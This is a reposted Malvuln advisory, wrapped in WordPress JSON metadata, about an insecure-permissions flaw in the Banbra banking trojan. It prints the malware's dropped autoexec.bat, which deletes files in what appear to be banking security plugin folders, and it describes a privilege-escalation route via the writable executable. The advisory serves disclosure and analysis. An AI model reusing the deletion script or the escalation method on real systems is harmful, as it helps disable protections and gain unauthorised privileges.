Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
\nOriginal source: https:\/\/malvuln.com\/advisory\/e0f2bee25dd103d92e91e895e313ec34.txt
\nContact: malvuln13@gmail.com
\nMedia: twitter.com\/malvuln<\/p>\n
Threat: Trojan-Banker.Win32.Banbra.cyt
\nVulnerability: Insecure Permissions
\nDescription: The malware writes a batch script “.bat” file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
\nFamily: Banbra
\nType: PE32
\nMD5: e0f2bee25dd103d92e91e895e313ec34
\nVuln ID: MVID-2022-0611
\nDisclosure: 06\/06\/2022<\/p>\n
Exploit\/PoC:
\nC:\\>cacls autoexec.bat
\nC:\\autoexec.bat BUILTIN\\Administrators:(ID)F
\nNT AUTHORITY\\SYSTEM:(ID)F
\nBUILTIN\\Users:(ID)R
\nNT AUTHORITY\\Authenticated Users:(ID)C<\/p>\n
C:\\>type autoexec.bat
\n@echo off
\nSET princix=del
\nSET pasta1=c:\\windows\\downlo~1\\gb*.*
\nSET pasta2=c:\\windows\\downlo~1\\*.g??
\nSET pasta3=c:\\windows\\downlo~1\\g*.*
\nSET pasta4=c:\\arquiv~1\\GbPlugin\\g*.*
\nSET pasta5=c:\\arquiv~1\\GbPlugin\\b*.*
\nSET pasta6=c:\\arquiv~1\\GbPlugin\\c*.*
\nSET pasta55=c:\\arquiv~1\\GbPlugin\\u*.*
\nSET pasta7=c:\\windows\\downlo~1\\Ab*.*
\nSET pasta8=c:\\windows\\downlo~1\\b*.*
\nSET pasta9=c:\\windows\\downlo~1\\Ab*.*
\nSET pasta10=c:\\progra~1\\GbPlugin\\g*.*
\nSET pasta11=c:\\progra~1\\GbPlugin\\b*.*
\nSET pasta12=c:\\progra~1\\GbPlugin\\c*.*
\nSET pasta56=c:\\progra~1\\GbPlugin\\u*.*
\nSET pasta13=C:\\progra~1\\Scpad\\s*.*
\nSET pasta14=c:\\arquiv~1\\Scpad\\s*.*
\nSET pasta15=C:\\WINDOWS\\system32\\scpsssh*.*
\n%princix% %pasta1%
\n%princix% %pasta2%
\n%princix% %pasta3%
\n%princix% %pasta4%
\n%princix% %pasta5%
\n%princix% %pasta6%
\n%princix% %pasta7%
\n%princix% %pasta8%
\n%princix% %pasta9%
\n%princix% %pasta10%
\n%princix% %pasta11%
\n%princix% %pasta12%
\n%princix% %pasta13%
\n%princix% %pasta14%
\n%princix% %pasta15%
\n%princix% %pasta55%
\n%princix% %pasta56%<\/p>\n
C:\\>
\nC:\\>dir autoexec.bat
\nVolume in drive C has no label.<\/p>\n
Directory of C:\\<\/p>\n
05\/24\/2022 02:26 AM 1,028 autoexec.bat
\n1 File(s) 1,028 bytes
\n0 Dir(s) 24,498,929,664 bytes free<\/p>\n
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Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https:\/\/malvuln.com\/advisory\/e0f2bee25dd103d92e91e895e313ec34.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Trojan-Banker.Win32.Banbra.cyt Vulnerability: Insecure Permissions Description: The malware writes a batch script “.bat” file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25541","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25541","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25541"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25541\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25541"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25541"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25541"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}